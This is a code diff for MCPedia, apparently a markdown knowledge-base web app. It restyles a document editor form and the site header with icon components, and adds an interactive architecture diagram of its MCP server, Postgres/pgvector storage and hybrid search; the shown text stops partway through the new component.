@@ -419,90 +451,92 @@ export default function DocForm({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setActiveTab("write")}
|
||||
className={`px-3 py-1 text-xs rounded-md font-medium transition-all ${
|
||||
className={`flex items-center gap-1.5 px-3 py-1 text-xs rounded font-semibold transition-all cursor-pointer ${
|
||||
activeTab === "write"
|
||||
? "bg-[#5e6ad2] text-white shadow-sm"
|
||||
? "bg-[var(--brand)] text-[var(--brand-fg)] shadow-xs"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
Write
|
||||
<Edit3 className="w-3.5 h-3.5" />
|
||||
<span>Write</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setActiveTab("preview")}
|
||||
className={`px-3 py-1 text-xs rounded-md font-medium transition-all ${
|
||||
className={`flex items-center gap-1.5 px-3 py-1 text-xs rounded font-semibold transition-all cursor-pointer ${
|
||||
activeTab === "preview"
|
||||
? "bg-[#5e6ad2] text-white shadow-sm"
|
||||
? "bg-[var(--brand)] text-[var(--brand-fg)] shadow-xs"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
Live Preview
|
||||
<Eye className="w-3.5 h-3.5" />
|
||||
<span>Preview</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* Markdown Action Shortcuts */}
|
||||
{/* Quick Markdown Formatter Shortcuts */}
|
||||
{activeTab === "write" && (
|
||||
<div className="flex items-center gap-1 text-xs text-[var(--text-muted)]">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("**", "**")}
|
||||
className="px-2 py-0.5 hover:bg-[var(--bg-surface)] rounded text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
|
||||
className="p-1 hover:bg-[var(--bg-surface)] rounded hover:text-[var(--text-primary)]"
|
||||
title="Bold"
|
||||
>
|
||||
<b>B</b>
|
||||
<Bold className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("*", "*")}
|
||||
className="px-2 py-0.5 hover:bg-[var(--bg-surface)] rounded text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
|
||||
className="p-1 hover:bg-[var(--bg-surface)] rounded hover:text-[var(--text-primary)]"
|
||||
title="Italic"
|
||||
>
|
||||
<i>I</i>
|
||||
<Italic className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("## ")}
|
||||
className="px-2 py-0.5 hover:bg-[var(--bg-surface)] rounded text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
|
||||
className="p-1 hover:bg-[var(--bg-surface)] rounded hover:text-[var(--text-primary)]"
|
||||
title="Heading 2"
|
||||
>
|
||||
H2
|
||||
<Heading2 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("### ")}
|
||||
className="p-1 hover:bg-[var(--bg-surface)] rounded hover:text-[var(--text-primary)]"
|
||||
title="Heading 3"
|
||||
>
|
||||
<Heading3 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("```\n", "\n```")}
|
||||
className="px-2 py-0.5 hover:bg-[var(--bg-surface)] rounded text-[var(--text-secondary)] hover:text-[var(--text-primary)] font-mono"
|
||||
className="p-1 hover:bg-[var(--bg-surface)] rounded hover:text-[var(--text-primary)]"
|
||||
title="Code Block"
|
||||
>
|
||||
{"</>"}
|
||||
<Code className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("[", "](https://)")}
|
||||
className="px-2 py-0.5 hover:bg-[var(--bg-surface)] rounded text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
|
||||
className="p-1 hover:bg-[var(--bg-surface)] rounded hover:text-[var(--text-primary)]"
|
||||
title="Link"
|
||||
>
|
||||
Link
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => insertMarkdown("> [!NOTE]\n> ")}
|
||||
className="px-2 py-0.5 hover:bg-[var(--bg-surface)] rounded text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
|
||||
title="Note Callout"
|
||||
>
|
||||
Note
|
||||
<LinkIcon className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Tab content */}
|
||||
{/* Tab Content */}
|
||||
{activeTab === "write" ? (
|
||||
<textarea
|
||||
ref={textareaRef}
|
||||
value={body}
|
||||
onChange={(e) => setBody(e.target.value)}
|
||||
className="w-full h-96 p-4 bg-transparent text-[var(--text-primary)] placeholder-[var(--text-dim)] font-mono text-sm focus:outline-none resize-y leading-relaxed"
|
||||
placeholder="# Write your markdown document here..."
|
||||
placeholder="# Write your technical documentation or writeup here in Markdown..."
|
||||
required
|
||||
/>
|
||||
) : (
|
||||
@@ -510,28 +544,29 @@ export default function DocForm({
|
||||
{body.trim() ? (
|
||||
<Markdown source={body} />
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-dim)] italic">Nothing to preview yet.</p>
|
||||
<p className="text-xs text-[var(--text-dim)] italic font-mono">No content to preview yet.</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Actions */}
|
||||
{/* Submit Action Buttons */}
|
||||
<div className="flex items-center gap-3">
|
||||
<button
|
||||
type="submit"
|
||||
disabled={loading}
|
||||
className="px-6 py-2.5 bg-[#5e6ad2] hover:bg-[#6a75e0] text-white rounded-lg font-medium text-sm transition-all shadow-md shadow-[#5e6ad2]/20 disabled:opacity-50 flex items-center gap-2"
|
||||
className="px-6 py-2.5 bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] rounded-lg font-semibold text-xs transition-all shadow-xs disabled:opacity-50 flex items-center gap-2 cursor-pointer font-mono uppercase tracking-wider"
|
||||
>
|
||||
{loading && (
|
||||
<div className="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin" />
|
||||
<div className="w-3.5 h-3.5 border-2 border-current border-t-transparent rounded-full animate-spin" />
|
||||
)}
|
||||
<span>{loading ? "Saving document..." : mode === "create" ? "Create Document" : "Save Changes"}</span>
|
||||
<span>{loading ? "PERSISTING..." : mode === "create" ? "PUBLISH_DOCUMENT" : "SAVE_CHANGES"}</span>
|
||||
</button>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => router.back()}
|
||||
className="px-4 py-2.5 border border-[var(--border-color)] hover:border-[var(--brand)] text-[var(--text-muted)] hover:text-[var(--text-primary)] bg-[var(--bg-surface)] rounded-lg text-sm transition-colors shadow-sm"
|
||||
className="px-4 py-2.5 border border-[var(--border-color)] hover:border-[var(--text-muted)] text-[var(--text-muted)] hover:text-[var(--text-primary)] bg-[var(--bg-surface)] rounded-lg text-xs transition-colors shadow-xs cursor-pointer font-mono"
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
|
||||
@@ -6,6 +6,13 @@ import { usePathname } from "next/navigation";
|
||||
import { DEFAULT_SECTIONS, type SectionConfig } from "@mcpedia/config/sections";
|
||||
import ThemeToggle from "@/components/ThemeToggle";
|
||||
import CommandMenu from "@/components/CommandMenu";
|
||||
import {
|
||||
Plus,
|
||||
Search,
|
||||
Menu,
|
||||
X,
|
||||
Lock,
|
||||
} from "lucide-react";
|
||||
|
||||
export default function Header() {
|
||||
const pathname = usePathname();
|
||||
@@ -24,24 +31,26 @@ export default function Header() {
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<header className="sticky top-0 z-30 border-b border-[var(--border-color)] glass-nav">
|
||||
<div className="mx-auto max-w-7xl px-4 sm:px-6 h-14 flex items-center justify-between gap-4">
|
||||
<header className="site-header no-print sticky top-0 z-40 border-b border-[var(--border-color)] glass-nav transition-all">
|
||||
<div className="mx-auto max-w-7xl px-4 sm:px-6 h-14 flex items-center justify-between gap-3 sm:gap-4">
|
||||
{/* Brand */}
|
||||
<div className="flex items-center gap-3">
|
||||
<Link href="/" className="flex items-center gap-2 group">
|
||||
<div className="w-7 h-7 rounded-lg bg-gradient-to-br from-[#5e6ad2] to-[#7170ff] flex items-center justify-center text-white font-bold text-xs shadow-md shadow-[#5e6ad2]/20 group-hover:scale-105 transition-transform">
|
||||
<Link href="/" className="flex items-center gap-2.5 group">
|
||||
<div className="flex items-center justify-center w-7 h-7 rounded-md bg-[var(--brand)] text-[var(--brand-fg)] font-mono font-bold text-xs shadow-xs group-hover:opacity-90 transition-opacity">
|
||||
M
|
||||
</div>
|
||||
<span className="font-semibold text-[var(--text-primary)] text-base tracking-tight transition-colors">
|
||||
MCPedia
|
||||
</span>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="font-bold text-[var(--text-primary)] text-sm tracking-tight leading-none">
|
||||
MCPedia
|
||||
</span>
|
||||
<span className="text-[10px] font-mono px-1.5 py-0.2 rounded bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hidden sm:inline-block">
|
||||
CORE::DB
|
||||
</span>
|
||||
</div>
|
||||
</Link>
|
||||
<span className="hidden sm:inline-block text-[10px] uppercase font-mono px-1.5 py-0.5 rounded bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)]">
|
||||
v0.1.0
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Desktop Nav */}
|
||||
{/* Center: Desktop Sections Nav */}
|
||||
<nav className="hidden md:flex items-center gap-1">
|
||||
{sections.map((s) => {
|
||||
const isActive = pathname === `/${s.id}` || pathname.startsWith(`/${s.id}/`);
|
||||
@@ -49,101 +58,110 @@ export default function Header() {
|
||||
<Link
|
||||
key={s.id}
|
||||
href={`/${s.id}`}
|
||||
className={`px-3 py-1.5 rounded-md text-xs font-medium transition-all ${
|
||||
className={`px-3 py-1 rounded-md text-xs font-medium transition-colors flex items-center gap-1.5 ${
|
||||
isActive
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)] border border-[var(--border-color)]"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-surface-hover)]"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)] border border-[var(--border-color)] font-semibold"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)]"
|
||||
}`}
|
||||
>
|
||||
<span className="mr-1.5 opacity-80">{s.icon}</span>
|
||||
{s.label}
|
||||
<span>{s.icon}</span>
|
||||
<span>{s.label}</span>
|
||||
</Link>
|
||||
);
|
||||
})}
|
||||
</nav>
|
||||
|
||||
{/* Right tools */}
|
||||
<div className="flex items-center gap-2.5">
|
||||
{/* Right Tools & Navigation Deck */}
|
||||
<div className="flex items-center gap-2">
|
||||
<CommandMenu />
|
||||
|
||||
<Link
|
||||
href="/search"
|
||||
className="md:hidden p-1.5 text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-lg hover:bg-[var(--bg-elevated)] transition-colors"
|
||||
title="Search"
|
||||
className="md:hidden p-1.5 text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md bg-[var(--bg-surface)] border border-[var(--border-color)] transition-colors"
|
||||
title="Search knowledge base"
|
||||
>
|
||||
<svg className="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
<Search className="w-4 h-4" />
|
||||
</Link>
|
||||
|
||||
<Link
|
||||
href="/create"
|
||||
className="hidden sm:inline-flex items-center gap-1.5 px-3 py-1 bg-[#5e6ad2] hover:bg-[#7170ff] text-white text-xs font-medium rounded-lg transition-all shadow-sm"
|
||||
className="hidden sm:inline-flex items-center gap-1.5 px-3 py-1.5 bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] text-xs font-semibold rounded-md shadow-xs transition-all cursor-pointer"
|
||||
>
|
||||
<span>+</span>
|
||||
<Plus className="w-3.5 h-3.5" />
|
||||
<span>New Doc</span>
|
||||
</Link>
|
||||
|
||||
<Link
|
||||
href="/login"
|
||||
className={`px-2.5 py-1 text-xs rounded-lg transition-colors ${
|
||||
className={`p-1.5 sm:px-2.5 sm:py-1.5 text-xs rounded-md transition-colors flex items-center gap-1.5 ${
|
||||
pathname === "/login"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)] font-medium"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)] font-semibold border border-[var(--border-color)]"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)]"
|
||||
}`}
|
||||
title="Admin Login"
|
||||
>
|
||||
Login
|
||||
<Lock className="w-3.5 h-3.5" />
|
||||
<span className="hidden sm:inline">Admin</span>
|
||||
</Link>
|
||||
|
||||
<div className="border-l border-[var(--border-color)] pl-2.5 flex items-center">
|
||||
<div className="border-l border-[var(--border-color)] pl-2 flex items-center">
|
||||
<ThemeToggle />
|
||||
</div>
|
||||
|
||||
{/* Mobile menu toggle */}
|
||||
<button
|
||||
onClick={() => setMobileMenuOpen(!mobileMenuOpen)}
|
||||
className="md:hidden p-1 text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
className="md:hidden p-1.5 text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md hover:bg-[var(--bg-elevated)] transition-colors"
|
||||
aria-label="Toggle navigation"
|
||||
>
|
||||
<svg className="w-5 h-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
{mobileMenuOpen ? (
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M6 18L18 6M6 6l12 12" />
|
||||
) : (
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M4 6h16M4 12h16M4 18h16" />
|
||||
)}
|
||||
</svg>
|
||||
{mobileMenuOpen ? <X className="w-5 h-5" /> : <Menu className="w-5 h-5" />}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Mobile Drawer */}
|
||||
{mobileMenuOpen && (
|
||||
<div className="md:hidden border-t border-[var(--border-color)] bg-[var(--bg-surface)] px-4 py-3 space-y-1 animate-fade-in shadow-lg">
|
||||
{sections.map((s) => (
|
||||
<Link
|
||||
key={s.id}
|
||||
href={`/${s.id}`}
|
||||
onClick={() => setMobileMenuOpen(false)}
|
||||
className="flex items-center gap-2 px-3 py-2 rounded-lg text-sm text-[var(--text-secondary)] hover:bg-[var(--bg-elevated)] hover:text-[var(--text-primary)]"
|
||||
>
|
||||
<span>{s.icon}</span>
|
||||
<span>{s.label}</span>
|
||||
</Link>
|
||||
))}
|
||||
<div className="pt-2 border-t border-[var(--border-color)] flex gap-2">
|
||||
<div className="md:hidden border-t border-[var(--border-color)] bg-[var(--bg-surface)] px-4 py-4 space-y-2 animate-fade-in shadow-lg">
|
||||
<div className="text-[10px] font-mono uppercase tracking-wider text-[var(--text-muted)] px-1 mb-1">
|
||||
Knowledge Sections
|
||||
</div>
|
||||
<div className="grid grid-cols-2 gap-1.5">
|
||||
{sections.map((s) => {
|
||||
const isActive = pathname === `/${s.id}` || pathname.startsWith(`/${s.id}/`);
|
||||
return (
|
||||
<Link
|
||||
key={s.id}
|
||||
href={`/${s.id}`}
|
||||
onClick={() => setMobileMenuOpen(false)}
|
||||
className={`flex items-center gap-2 px-3 py-2 rounded-md text-xs font-medium transition-colors ${
|
||||
isActive
|
||||
? "bg-[var(--bg-elevated)] text-[var(--text-primary)] border border-[var(--border-color)] font-semibold"
|
||||
: "text-[var(--text-secondary)] hover:bg-[var(--bg-elevated)] hover:text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
<span>{s.icon}</span>
|
||||
<span className="truncate">{s.label}</span>
|
||||
</Link>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
<div className="pt-3 border-t border-[var(--border-color)] flex gap-2">
|
||||
<Link
|
||||
href="/search"
|
||||
onClick={() => setMobileMenuOpen(false)}
|
||||
className="flex-1 text-center py-2 text-xs bg-[var(--bg-elevated)] text-[var(--text-secondary)] rounded-lg font-medium border border-[var(--border-color)]"
|
||||
className="flex-1 flex items-center justify-center gap-1.5 py-2 text-xs bg-[var(--bg-elevated)] text-[var(--text-secondary)] hover:text-[var(--text-primary)] rounded-md font-medium border border-[var(--border-color)]"
|
||||
>
|
||||
Search
|
||||
<Search className="w-3.5 h-3.5" />
|
||||
<span>Search</span>
|
||||
</Link>
|
||||
<Link
|
||||
href="/create"
|
||||
onClick={() => setMobileMenuOpen(false)}
|
||||
className="flex-1 text-center py-2 text-xs bg-[#5e6ad2] text-white rounded-lg font-medium"
|
||||
className="flex-1 flex items-center justify-center gap-1.5 py-2 text-xs bg-[var(--brand)] text-[var(--brand-fg)] rounded-md font-semibold shadow-xs"
|
||||
>
|
||||
+ Create
|
||||
<Plus className="w-3.5 h-3.5" />
|
||||
<span>Create Doc</span>
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,376 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import Link from "next/link";
|
||||
import {
|
||||
Cpu,
|
||||
Database,
|
||||
Layers,
|
||||
Sparkles,
|
||||
Search,
|
||||
Globe,
|
||||
Server,
|
||||
ArrowRight,
|
||||
CheckCircle2,
|
||||
} from "lucide-react";
|
||||
|
||||
interface NodeDetail {
|
||||
id: string;
|
||||
title: string;
|
||||
badge: string;
|
||||
type: "client" | "protocol" | "core" | "storage";
|
||||
icon: any;
|
||||
desc: string;
|
||||
metrics: { label: string; value: string }[];
|
||||
features: string[];
|
||||
docLink?: string;
|
||||
}
|
||||
|
||||
const NODES: NodeDetail[] = [
|
||||
{
|
||||
id: "ai-agents",
|
||||
title: "AI Coding Agents",
|
||||
badge: "MCP::CLIENT",
|
||||
type: "client",
|
||||
icon: Sparkles,
|
||||
desc: "Claude Desktop, Cursor, Antigravity, and Zed connect via Model Context Protocol to read and write technical knowledge directly.",
|
||||
metrics: [
|
||||
{ label: "Transport", value: "Stdio / HTTP SSE" },
|
||||
{ label: "Tools Exposed", value: "13 Native Tools" },
|
||||
{ label: "Authentication", value: "x-webhook-secret" },
|
||||
],
|
||||
features: [
|
||||
"Semantic similarity search over chunks",
|
||||
"Direct document CRUD into Postgres",
|
||||
"Context retrieval for debugging & CTF writeups",
|
||||
],
|
||||
docLink: "/docs",
|
||||
},
|
||||
{
|
||||
id: "web-ui",
|
||||
title: "Human Web Interface",
|
||||
badge: "UI::NEXTJS",
|
||||
type: "client",
|
||||
icon: Globe,
|
||||
desc: "Fast, accessible developer web interface with dark/light themes, keyboard shortcuts, and instant search.",
|
||||
metrics: [
|
||||
{ label: "Framework", value: "Next.js 16.3" },
|
||||
{ label: "Styling", value: "Tailwind CSS v4" },
|
||||
{ label: "Command Menu", value: "⌘K Omnisearch" },
|
||||
],
|
||||
features: [
|
||||
"Hierarchical folder directory tree",
|
||||
"Publication-grade PDF export generator",
|
||||
"Live markdown editor with revision rollback",
|
||||
],
|
||||
docLink: "/docs",
|
||||
},
|
||||
{
|
||||
id: "mcp-server",
|
||||
title: "MCP Server Gateway",
|
||||
badge: "PORT::4021",
|
||||
type: "protocol",
|
||||
icon: Server,
|
||||
desc: "Streamable Model Context Protocol server exposing tool endpoints and resource URIs.",
|
||||
metrics: [
|
||||
{ label: "Port", value: ":4021" },
|
||||
{ label: "Protocol", value: "MCP 2024-11-05" },
|
||||
{ label: "Runtime", value: "Bun Engine" },
|
||||
],
|
||||
features: [
|
||||
"get_document / create_document tools",
|
||||
"search_hybrid / search_semantic tools",
|
||||
"list_sections & list_revisions resources",
|
||||
],
|
||||
docLink: "/api",
|
||||
},
|
||||
{
|
||||
id: "core-engine",
|
||||
title: "@mcpedia/core",
|
||||
badge: "CORE::PACKAGE",
|
||||
type: "core",
|
||||
icon: Layers,
|
||||
desc: "Unified business logic layer shared across Web, MCP Server, REST API, and Background Workers.",
|
||||
metrics: [
|
||||
{ label: "Architecture", value: "Monorepo Package" },
|
||||
{ label: "Validation", value: "Strict Type Safety" },
|
||||
{ label: "Ranking", value: "RRF Hybrid Fusion" },
|
||||
],
|
||||
features: [
|
||||
"Path classification & folder hierarchy",
|
||||
"Markdown document chunking & tokenization",
|
||||
"Drizzle ORM transactional schema mapping",
|
||||
],
|
||||
docLink: "/research",
|
||||
},
|
||||
{
|
||||
id: "search-engine",
|
||||
title: "Multi-Modal Search Engine",
|
||||
badge: "SEARCH::RRF",
|
||||
type: "core",
|
||||
icon: Search,
|
||||
desc: "Reciprocal Rank Fusion uniting Postgres Full-Text Search tsvectors with vector embeddings.",
|
||||
metrics: [
|
||||
{ label: "FTS Algorithm", value: "tsvector + GIN" },
|
||||
{ label: "Vector Search", value: "Cosine Similarity" },
|
||||
{ label: "Fusion Constant", value: "k = 60" },
|
||||
],
|
||||
features: [
|
||||
"Sub-millisecond keyword retrieval",
|
||||
"Conceptual similarity matching",
|
||||
"Instant snippet generation with highlight markers",
|
||||
],
|
||||
docLink: "/search",
|
||||
},
|
||||
{
|
||||
id: "postgres-db",
|
||||
title: "PostgreSQL 16 + pgvector",
|
||||
badge: "DB::POSTGRES",
|
||||
type: "storage",
|
||||
icon: Database,
|
||||
desc: "ACID-compliant relational database storing document bodies, revision trees, vector embeddings, and full-text indexes.",
|
||||
metrics: [
|
||||
{ label: "Extension", value: "vector (1536 dim)" },
|
||||
{ label: "Backups", value: "Auto .md to disk" },
|
||||
{ label: "Isolation", value: "Transactional" },
|
||||
],
|
||||
features: [
|
||||
"HNSW vector index for embeddings",
|
||||
"Complete revision history preservation",
|
||||
"Instant document schema migrations",
|
||||
],
|
||||
docLink: "/docs",
|
||||
},
|
||||
];
|
||||
|
||||
export default function InteractiveTopology() {
|
||||
const [activeNodeId, setActiveNodeId] = useState<string>("core-engine");
|
||||
|
||||
const activeNode = NODES.find((n) => n.id === activeNodeId) || NODES[0];
|
||||
const ActiveIcon = activeNode.icon;
|
||||
|
||||
return (
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl overflow-hidden shadow-xs">
|
||||
{/* Header Bar */}
|
||||
<div className="p-4 sm:p-5 border-b border-[var(--border-color)] bg-[var(--bg-elevated)] flex flex-col sm:flex-row sm:items-center justify-between gap-3">
|
||||
<div>
|
||||
<div className="flex items-center gap-2 mb-1">
|
||||
<span className="w-1.5 h-1.5 rounded-full bg-emerald-500" />
|
||||
<span className="text-[10px] font-mono uppercase tracking-wider text-[var(--text-muted)]">
|
||||
Architecture Schematic
|
||||
</span>
|
||||
</div>
|
||||
<h3 className="text-base sm:text-lg font-bold text-[var(--text-primary)] tracking-tight">
|
||||
System Topology: Single Core Architecture
|
||||
</h3>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-[11px] font-mono text-[var(--text-muted)] bg-[var(--bg-surface)] border border-[var(--border-color)] px-2 py-1 rounded">
|
||||
Click nodes to inspect
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Grid Layout */}
|
||||
<div className="grid grid-cols-1 lg:grid-cols-12">
|
||||
{/* Visual Map Column (Left) */}
|
||||
<div className="lg:col-span-7 p-5 border-b lg:border-b-0 lg:border-r border-[var(--border-color)] bg-[var(--bg-app)] flex flex-col justify-between space-y-5">
|
||||
{/* Layer 1: Clients */}
|
||||
<div>
|
||||
<span className="text-[10px] font-mono uppercase tracking-widest text-[var(--text-muted)] mb-2 block">
|
||||
1. Ingestion & Access Layer
|
||||
</span>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2.5">
|
||||
{NODES.filter((n) => n.type === "client").map((node) => {
|
||||
const Icon = node.icon;
|
||||
const isSelected = activeNodeId === node.id;
|
||||
return (
|
||||
<button
|
||||
key={node.id}
|
||||
onClick={() => setActiveNodeId(node.id)}
|
||||
type="button"
|
||||
className={`p-3 rounded-lg border text-left transition-all cursor-pointer ${
|
||||
isSelected
|
||||
? "bg-[var(--bg-surface)] border-[var(--text-primary)] shadow-xs ring-1 ring-[var(--text-primary)]"
|
||||
: "bg-[var(--bg-surface)] border-[var(--border-color)] hover:border-[var(--text-muted)]"
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center justify-between mb-2">
|
||||
<div className={`p-1.5 rounded ${isSelected ? "bg-[var(--brand)] text-[var(--brand-fg)]" : "bg-[var(--bg-elevated)] text-[var(--text-muted)]"}`}>
|
||||
<Icon className="w-3.5 h-3.5" />
|
||||
</div>
|
||||
<span className="text-[10px] font-mono px-1.5 py-0.2 rounded bg-[var(--bg-elevated)] text-[var(--text-muted)] border border-[var(--border-color)]">
|
||||
{node.badge}
|
||||
</span>
|
||||
</div>
|
||||
<div className="font-semibold text-xs text-[var(--text-primary)]">{node.title}</div>
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Flow Connector Arrow */}
|
||||
<div className="flex justify-center text-[var(--text-dim)]">
|
||||
<span className="text-[10px] font-mono px-2.5 py-0.5 rounded bg-[var(--bg-surface)] border border-[var(--border-color)]">
|
||||
↓ Protocol Gateway
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Layer 2: Protocol & Core Services */}
|
||||
<div>
|
||||
<span className="text-[10px] font-mono uppercase tracking-widest text-[var(--text-muted)] mb-2 block">
|
||||
2. Core Engine & Protocol Layer
|
||||
</span>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-2.5">
|
||||
{NODES.filter((n) => n.type === "protocol" || n.type === "core").map((node) => {
|
||||
const Icon = node.icon;
|
||||
const isSelected = activeNodeId === node.id;
|
||||
return (
|
||||
<button
|
||||
key={node.id}
|
||||
onClick={() => setActiveNodeId(node.id)}
|
||||
type="button"
|
||||
className={`p-3 rounded-lg border text-left transition-all cursor-pointer ${
|
||||
isSelected
|
||||
? "bg-[var(--bg-surface)] border-[var(--text-primary)] shadow-xs ring-1 ring-[var(--text-primary)]"
|
||||
: "bg-[var(--bg-surface)] border-[var(--border-color)] hover:border-[var(--text-muted)]"
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center justify-between mb-2">
|
||||
<div className={`p-1.5 rounded ${isSelected ? "bg-[var(--brand)] text-[var(--brand-fg)]" : "bg-[var(--bg-elevated)] text-[var(--text-muted)]"}`}>
|
||||
<Icon className="w-3.5 h-3.5" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="font-semibold text-xs text-[var(--text-primary)] leading-tight mb-0.5 truncate">
|
||||
{node.title}
|
||||
</div>
|
||||
<div className="text-[10px] text-[var(--text-muted)] font-mono truncate">
|
||||
{node.badge}
|
||||
</div>
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Flow Connector Arrow */}
|
||||
<div className="flex justify-center text-[var(--text-dim)]">
|
||||
<span className="text-[10px] font-mono px-2.5 py-0.5 rounded bg-[var(--bg-surface)] border border-[var(--border-color)]">
|
||||
↓ Persistent Storage Layer
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Layer 3: Storage */}
|
||||
<div>
|
||||
<span className="text-[10px] font-mono uppercase tracking-widest text-[var(--text-muted)] mb-2 block">
|
||||
3. Database (Source of Truth)
|
||||
</span>
|
||||
{NODES.filter((n) => n.type === "storage").map((node) => {
|
||||
const Icon = node.icon;
|
||||
const isSelected = activeNodeId === node.id;
|
||||
return (
|
||||
<button
|
||||
key={node.id}
|
||||
onClick={() => setActiveNodeId(node.id)}
|
||||
type="button"
|
||||
className={`w-full p-3 rounded-lg border text-left transition-all cursor-pointer ${
|
||||
isSelected
|
||||
? "bg-[var(--bg-surface)] border-[var(--text-primary)] shadow-xs ring-1 ring-[var(--text-primary)]"
|
||||
: "bg-[var(--bg-surface)] border-[var(--border-color)] hover:border-[var(--text-muted)]"
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className={`p-1.5 rounded ${isSelected ? "bg-[var(--brand)] text-[var(--brand-fg)]" : "bg-[var(--bg-elevated)] text-[var(--text-muted)]"}`}>
|
||||
<Icon className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="font-semibold text-xs text-[var(--text-primary)]">{node.title}</div>
|
||||
<div className="text-[11px] text-[var(--text-muted)]">Source of truth for all content & embeddings</div>
|
||||
</div>
|
||||
</div>
|
||||
<span className="text-[10px] font-mono px-1.5 py-0.2 rounded bg-[var(--bg-elevated)] text-[var(--text-muted)] border border-[var(--border-color)]">
|
||||
{node.badge}
|
||||
</span>
|
||||
</div>
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Node Inspector Details Column (Right) */}
|
||||
<div className="lg:col-span-5 p-5 bg-[var(--bg-surface)] flex flex-col justify-between space-y-5 animate-fade-in">
|
||||
<div>
|
||||
{/* Inspector Header */}
|
||||
<div className="flex items-start justify-between gap-3 mb-3">
|
||||
<div className="flex items-center gap-2.5">
|
||||
<div className="w-9 h-9 rounded-lg bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-primary)] flex items-center justify-center">
|
||||
<ActiveIcon className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<h4 className="text-sm font-bold text-[var(--text-primary)]">{activeNode.title}</h4>
|
||||
<span className="text-[10px] font-mono text-[var(--text-muted)]">
|
||||
{activeNode.badge}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
